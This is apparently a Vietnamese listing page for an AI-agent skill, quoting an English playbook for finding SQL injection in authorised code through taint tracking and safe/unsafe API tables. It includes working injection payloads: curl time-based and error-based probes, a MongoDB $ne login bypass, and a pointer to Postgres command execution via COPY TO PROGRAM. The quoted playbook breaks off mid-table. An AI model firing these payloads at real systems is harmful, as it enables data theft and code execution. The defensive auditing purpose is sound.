sql-injection
Skill này làm gì
Skill này là playbook để tìm lỗ hổng SQL injection trong mã nguồn, bao gồm truy vấn thô và các lối thoát của ORM. Skill dành cho lập trình viên và người rà soát kiểm tra mã mà họ được phép xem.
Khi nào nên dùng
- ✓Khi lập trình viên yêu cầu agent kiểm tra xem đầu vào người dùng có đi đến truy vấn cơ sở dữ liệu trong một codebase được ủy quyền không.
- ✓Khi agent rà soát các hàm truy vấn thô, tên bảng động hoặc bộ lọc tìm kiếm có ghép chuỗi không an toàn.
- ✓Khi một đội muốn có bảng các phương thức truy vấn an toàn và không an toàn cho ngôn ngữ lập trình của mình.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra mã Python được ủy quyền của chúng tôi xem có truy vấn cơ sở dữ liệu nào tạo SQL từ đầu vào người dùng không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent tìm các lệnh gọi truy vấn, theo dõi đầu vào người dùng từ yêu cầu đến các lệnh đó, và liệt kê những chỗ dùng ghép chuỗi thay vì tham số.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
SQL Injection Hunting Playbook
Classic, still the king. Modern ORMs reduce the surface area but every codebase has escape hatches (raw queries, dynamic table names, LIKE fragments) where taint tracking pays off.
1. Sources
Anything accepting untrusted input: query params, form bodies, headers, cookies, JWT claims, file contents parsed as config, message-queue payloads.
2. Sinks by language/framework
| Language | Safe API | Dangerous API |
|---|---|---|
| Python | cursor.execute(sql, params) |
cursor.execute(f"... {user}"), %-format |
| Python | SQLAlchemy text().bindparams |
text(f"... {user}"), raw_sql |
| Python | Django ORM filter kwargs | Model.objects.raw(...), .extra(where=[...]) |
| Node | pg.query(text, params) |
Template literals with user data |
| Node | Prisma $queryRaw\...`` |
$queryRawUnsafe(userString) |
| Java | PreparedStatement |
Statement.executeQuery(string + user) |
| Java | JPA criteria | entityManager.createNativeQuery(user + sql) |
| Go | db.Query(text, args...) |
fmt.Sprintf → db.Query |
| Ruby | Rails where("col = ?", x) |
where("col = '#{x}'"), find_by_sql(interp) |
| PHP | PDO prepared | mysqli_query($conn, $user . $sql) |
3. Taint audit steps
# Semgrep covers 80% of obvious cases
semgrep --config p/sql-injection /workspace/src --sarif -o /workspace/sem-sqli.sarif
kg_ingest_sarif("/workspace/sem-sqli.sarif", "semgrep")
# Grep for the high-signal patterns semgrep misses (dynamic order/group by)
grep -rE 'ORDER BY.*\$|LIMIT.*\$|GROUP BY.*\$' /workspace/src
grep -rE 'execute\s*\(.*f["\']|execute\s*\(.*%.*%' /workspace/src
# Django raw + extra (scanner blind spot)
grep -rE '\.raw\(|\.extra\(' /workspace/src
# Second-order: anything that stores user input then queries by it unescaped
grep -rE 'INSERT INTO.*VALUES.*\?|UPDATE.*SET' /workspace/src
4. Dynamic table/column sinks — the interesting subclass
ORMs parameterize values but NOT identifiers. If the code does:
cursor.execute(f"SELECT * FROM {tenant}_users WHERE id=%s", (uid,))
the table name is user-controlled. Check whether tenant is validated
against an allowlist. If not, this is trivial RCE on Postgres
(; DROP ... ; COPY ... TO PROGRAM 'bash -c ...' --).
5. NoSQL injection
| DB | Dangerous | Safe |
|---|---|---|
| MongoDB | db.users.find({name: req.body.name}) |
find({name: String(req.body.name)}) |
| Firebase | db.ref(req.query.path) |
path allowlist |
| Dynamo | Filter expressions built from strings | ExpressionAttributeValues |
Classic Mongo bypass: {"username": "admin", "password": {"$ne": null}}.
6. Second-order injection
Most dangerous variant. The sink query reads from a previously stored value that was user-controlled. Missed by 90% of scanners because the taint breaks at the DB boundary.
Audit approach: any column that stores user input and is later concatenated into another query is a candidate. Grep for the column name across the repo.
7. PoC + validation contract
# Blind time-based
curl "https://target.com/search?q=1' AND SLEEP(5)-- -"
# Success: response time > 5s
# Error-based
curl "https://target.com/search?q=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -"
# Success: mysql error with version string reflected
validate_finding contract:
- success_patterns:
version\(\),mysql,postgres,sleep.*5,syntax error near,ORA-01756 - negative_command: same URL with
q=1(no payload) - negative_patterns: same error string (if present without payload, it's unrelated noise — demote)
8. Default CVSS
| Variant | Score | Notes |
|---|---|---|
| Authenticated read-only SQLi |
Câu hỏi thường gặp
SQL injection là gì?
Đó là khi đầu vào người dùng thay đổi ý nghĩa của truy vấn cơ sở dữ liệu, có thể làm lộ hoặc thay đổi dữ liệu.
ORM có ngăn được không?
Skill nói ORM giảm rủi ro, nhưng các hàm truy vấn thô và phần động vẫn có thể không an toàn.
Cách an toàn hơn là gì?
Skill khuyên dùng truy vấn có tham số, trong đó giá trị người dùng được truyền riêng với văn bản SQL.
Chi tiết
Mô tả gốc của tác giả
Hunt SQL injection (CWE-89) via source-level taint tracking. Covers string concat, format-string, ORM raw queries, second-order injection, and NoSQL injection in MongoDB/DynamoDB.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #13971
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.